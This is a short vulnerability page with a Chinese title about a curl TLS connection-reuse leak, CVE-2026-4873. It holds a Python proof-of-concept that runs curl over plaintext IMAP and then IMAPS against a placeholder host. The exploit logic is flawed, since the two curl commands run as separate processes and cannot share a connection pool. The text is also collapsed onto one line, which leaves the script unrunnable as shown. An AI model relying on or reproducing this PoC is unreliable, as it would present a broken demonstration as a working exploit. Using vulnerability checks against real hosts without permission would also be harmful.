CVE-2026-4873 curl TLS连接复用导致信息泄露漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-4873 (curl connection reuse vulnerability) This script demonstrates the logic where an encrypted request might reuse a plaintext connection. Note: This requires a vulnerable version of curl and a test server. """ import subprocess import time # Target host (e.g., a local test IMAP server) TARGET_HOST = "example.com" print(f"[*] Testing CVE-2026-4873 against {TARGET_HOST}") # Step 1: Initiate a plaintext connection (IMAP) # This adds a plaintext connection to the pool print("[+] Step 1: Sending plaintext IMAP request...") try: # Using a timeout to keep the connection open in the pool context subprocess.run(["curl", "-v", f"imap://{TARGET_HOST}"], timeout=5) except subprocess.TimeoutExpired: pass # Step 2: Initiate an encrypted request (IMAPS) to the same host # In a vulnerable version, curl might reuse the plaintext connection from Step 1 print("[+] Step 2: Sending encrypted IMAPS request (should be TLS, but might reuse plaintext)...") try: # Monitor network traffic to see if data is sent in cleartext result = subprocess.run(["curl", "-v", f"imaps://{TARGET_HOST}"], capture_output=True, text=True) print(result.stdout) print(result.stderr) except Exception as e: print(f"Error: {e}") print("[*] Check network traffic (Wireshark/tcpdump) to verify if TLS was bypassed.")